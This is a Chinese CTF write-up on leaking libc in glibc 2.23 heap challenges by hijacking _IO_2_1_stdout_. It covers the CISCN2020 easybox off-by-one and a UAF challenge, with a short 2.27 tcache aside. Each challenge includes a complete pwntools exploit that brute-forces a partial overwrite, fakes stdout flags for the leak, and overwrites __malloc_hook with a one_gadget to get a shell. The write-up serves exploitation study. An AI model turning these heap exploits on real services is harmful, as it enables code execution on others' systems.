这一篇讲劫持_IO_2_1_stdout_泄露libc,应用在没有show的heap题里,首先申明,所有的都需要爆破,并且2.27由于tcache的存在使得2.27的劫持_IO_2_1_stdout_比2.23简单
CISCN2020 easyboxs
libc2.23
off by one+劫持_IO_2_1_stdout_
有add和free
add(0, 0x18, 'a')
add(1, 0xf8, 'a')
add(2, 0x68, 'a')
add(3, 0x68, 'a')
add(4, 0x18, 'a')
free(0)
add(0, 0x18, 'a'*0x18+'\xe1')
free(1)
由于是off by one,所以直接改size,free,造成堆块复用
free(2)
add(0, 0xd8, 'a')
add(5, 0x18, 'a')
add(0, 0x18, '\xdd\x25')
free(5)
add(5, 0x18, p64(0)*3+'\x71')
add(0, 0x68, 'a')
add(0, 0x68, 'A'*0x33 + p64(0xfbad1800) + p64(0)*3 + '\x00')
libc_base = uu64(ru('\x7f')[-6:]) - libc.sym['_IO_2_1_stderr_'] - 192
info('libc_base', libc_base)
og = libc_base + o_g[3]
malloc_hook = libc_base + libc.sym['__malloc_hook']
先把2free掉,然后精心构造,使得chunk2的fd有unsortedbin的地址,同时把这个地址的后四位改成\xdd\x25
,并且上面要有一个0x18的chunk,让我们可以后面再把chunk2的size改回0x71,才能从0x70的fastbin里申请chunk
为什么是
\xdd\x25
,其实只有后三位5dd是确定的,前一位填什么都行,是要爆破的,这个位置有一个0x7f,可以让我们fastbin attack
add(0, 0x68, 'A'*0x33 + p64(0xfbad1800) + p64(0)*3 + '\x00')
这是我们要往_IO_2_1_stdout_里填充的,照着填就行,具体的原因比较复杂
看着好像除了flag都没改,其实已经改过了,具体的可以b _int_malloc 然后fin去看
p _IO_list_all
p (*(struct _IO_FILE_plus *)0x7f3034623b78)
p (*(struct _IO_jump_t *)(0x556306725500+0xd8))
这些都是可以用的指令,具体自己改
free(3)
add(0, 0x58, p64(1)*0x9+p64(0x71)+p64(malloc_hook-0x23))
add(0, 0x68, 'a')
add(0, 0x68, 'a'*0x13+p64(og))
最后free(3)
然后申请下来改fd,然后fastbin attack改malloc_hook为og,结束
完整exp:
from pwn import *
from LibcSearcher import *
local_file = './pwn'
local_libc = '/root/glibc-all-in-one/libs/2.23/libc-2.23.so'
remote_libc = '/root/glibc-all-in-one/libs/2.23/libc-2.23.so'
select = 0
if select == 0:
r = process(local_file)
libc = ELF(local_libc)
else:
r = remote('', )
libc = ELF(remote_libc)
elf = ELF(local_file)
context.log_level = 'debug'
context.arch = elf.arch
se = lambda data :r.send(data)
sa = lambda delim,data :r.sendafter(delim, data)
sl = lambda data :r.sendline(data)
sla = lambda delim,data :r.sendlineafter(delim, data)
sea = lambda delim,data :r.sendafter(delim, data)
rc = lambda numb=4096 :r.recv(numb)
rl = lambda :r.recvline()
ru = lambda delims :r.recvuntil(delims)
uu32 = lambda data :u32(data.ljust(4, '\0'))
uu64 = lambda data :u64(data.ljust(8, '\0'))
info = lambda tag, addr :r.info(tag + ': {:#x}'.format(addr))
o_g_old = [0x45216,0x4526a,0xf02a4,0xf1147]
o_g = [0x45226, 0x4527a, 0xf0364, 0xf1207]
def debug(cmd=''):
gdb.attach(r,cmd)
def menu(ch):
sla('>>>', str(ch))
def add(index, size, content):
menu(1)
sla('idx:', str(index))
sla('len:', str(size))
sea('content:', content)
def free(index):
menu(2)
sla('idx:', str(index))
IO_2_1_stdout = libc.sym['_IO_2_1_stdout_']
while True:
local_file = './pwn'
local_libc = '/root/glibc-all-in-one/libs/2.23/libc-2.23.so'
remote_libc = '/root/glibc-all-in-one/libs/2.23/libc-2.23.so'
select = 0
if select == 0:
r = process(local_file)
libc = ELF(local_libc)
else:
r = remote('', )
libc = ELF(remote_libc)
elf = ELF(local_file)
try:
add(0, 0x18, 'a')
add(1, 0xf8, 'a')
add(2, 0x68, 'a')
add(3, 0x68, 'a')
add(4, 0x18, 'a')
free(0)
add(0, 0x18, 'a'*0x18+'\xe1')
free(1)
free(2)
add(0, 0xd8, 'a')
add(5, 0x18, 'a')
add(0, 0x18, '\xdd\x25')
free(5)
add(5, 0x18, p64(0)*3+'\x71')
add(0, 0x68, 'a')
add(0, 0x68, 'A'*0x33 + p64(0xfbad1800) + p64(0)*3 + '\x00')
libc_base = uu64(ru('\x7f')[-6:]) - libc.sym['_IO_2_1_stderr_'] - 192
info('libc_base', libc_base)
og = libc_base + o_g[3]
malloc_hook = libc_base + libc.sym['__malloc_hook']
free(3)
add(0, 0x58, p64(1)*0x9+p64(0x71)+p64(malloc_hook-0x23))
add(0, 0x68, 'a')
add(0, 0x68, 'a'*0x13+p64(og))
debug()
sl('1')
break
except:
r.close()
continue
r.interactive()
try是用来爆破的
maj
libc2.23
UAF+劫持_IO_2_1_stdout_
有add,free,edit
add(0x68)
add(0x68)
add(0x68)
edit(0, p64(0)+p64(0x71))
edit(1, p64(0)+p64(0x61))
edit(2, p64(0)*3+p64(0x51))
free(0)
free(1)
edit(1, '\x10')
add(0x60)#3
add(0x60)#4
先add三个chunk,然后构造好我们需要的数据,0x71是fake chunk, 0x61和0x51是为了过free时nextchunk的size的检测
edit改fd,然后申请回来,chunk4就是我们的fake chunk
free(1)
edit(4, p64(0)*0xb+p64(0x91))
free(1)
edit(4, p64(0)*0xb+p64(0x71))
edit(1, '\xdd\x25')
add(0x60)
add(0x60)
edit(6, 'A'*0x33 + p64(0xfbad1800) + p64(0)*3 + '\x00')
libc_base = uu64(ru('\x7f')[-6:]) - libc.sym['_IO_2_1_stderr_'] - 192
info('libc_base', libc_base)
malloc_hook = libc_base + libc.sym['__malloc_hook']
og = libc_base + o_g[3]
free1,然后通过4把1的size改成0x91,然后再free1, chunk1就在unsortedbin里了,这样一来在fastbin里的chunk1的fd就有main_arena+96的地址了
然后再改成0x71,就可以fastbin attack了
free(0)
free(1)
free(0)
edit(1, p64(malloc_hook-0x23))
add(0x60)
add(0x60)
add(0x60)
edit(9, 'a'*0x13+p64(og))
然后double free,fastbin attack 结束
完整exp:
from pwn import *
from LibcSearcher import *
local_file = './maj'
local_libc = '/root/glibc-all-in-one/libs/2.23/libc-2.23.so'
remote_libc = '/root/glibc-all-in-one/libs/2.23/libc-2.23.so'
select = 0
if select == 0:
r = process(local_file)
libc = ELF(local_libc)
else:
r = remote('', )
libc = ELF(remote_libc)
elf = ELF(local_file)
context.log_level = 'debug'
context.arch = elf.arch
se = lambda data :r.send(data)
sa = lambda delim,data :r.sendafter(delim, data)
sl = lambda data :r.sendline(data)
sla = lambda delim,data :r.sendlineafter(delim, data)
sea = lambda delim,data :r.sendafter(delim, data)
rc = lambda numb=4096 :r.recv(numb)
rl = lambda :r.recvline()
ru = lambda delims :r.recvuntil(delims)
uu32 = lambda data :u32(data.ljust(4, '\0'))
uu64 = lambda data :u64(data.ljust(8, '\0'))
info = lambda tag, addr :r.info(tag + ': {:#x}'.format(addr))
o_g_old = [0x45216,0x4526a,0xf02a4,0xf1147]
o_g = [0x45226, 0x4527a, 0xf0364, 0xf1207]
def debug(cmd=''):
gdb.attach(r,cmd)
def menu(ch):
sla('>> ', str(ch))
def add(size):
menu(1)
sl('80')
sla('______?', str(size))
sea('start_the_game,yes_or_no?', 'yes')
def free(index):
menu(2)
sla('index ?', str(index))
def edit(index, content):
menu(4)
sla('index ?', str(index))
sea('__new_content ?', content)
while True:
local_file = './maj'
local_libc = '/root/glibc-all-in-one/libs/2.23/libc-2.23.so'
remote_libc = '/root/glibc-all-in-one/libs/2.23/libc-2.23.so'
select = 0
if select == 0:
r = process(local_file)
libc = ELF(local_libc)
else:
r = remote('', )
libc = ELF(remote_libc)
elf = ELF(local_file)
try:
add(0x68)
add(0x68)
add(0x68)
edit(0, p64(0)+p64(0x71))
edit(1, p64(0)+p64(0x61))
edit(2, p64(0)*3+p64(0x51))
free(0)
free(1)
edit(1, '\x10')
add(0x60)
add(0x60)
free(1)
edit(4, p64(0)*0xb+p64(0x91))
free(1)
edit(4, p64(0)*0xb+p64(0x71))
edit(1, '\xdd\x25')
add(0x60)
add(0x60)
edit(6, 'A'*0x33 + p64(0xfbad1800) + p64(0)*3 + '\x00')
libc_base = uu64(ru('\x7f')[-6:]) - libc.sym['_IO_2_1_stderr_'] - 192
info('libc_base', libc_base)
malloc_hook = libc_base + libc.sym['__malloc_hook']
og = libc_base + o_g[3]
free(0)
free(1)
free(0)
edit(1, p64(malloc_hook-0x23))
add(0x60)
add(0x60)
add(0x60)
edit(9, 'a'*0x13+p64(og))
#debug()
#sl('1')
break
except:
r.close()
continue
r.interactive()
2.27
2.27的先提一下,后面再写题
realloc(0x180, ‘c’*0x78+p64(0xc1)+p8(0x60)+p8(0x87))
realloc(0x100, p64(0xfbad1887)+p64(0)*3+p8(0x58))
由于tcache,所以不用再担心size,可以直接爆破到stdout,也就是0x?760
改flag,read全部用0填充,write_base末尾改成0x58,这样就指向_IO_2_1_stderr_+216,其中存储着 _IO_file_jumps的地址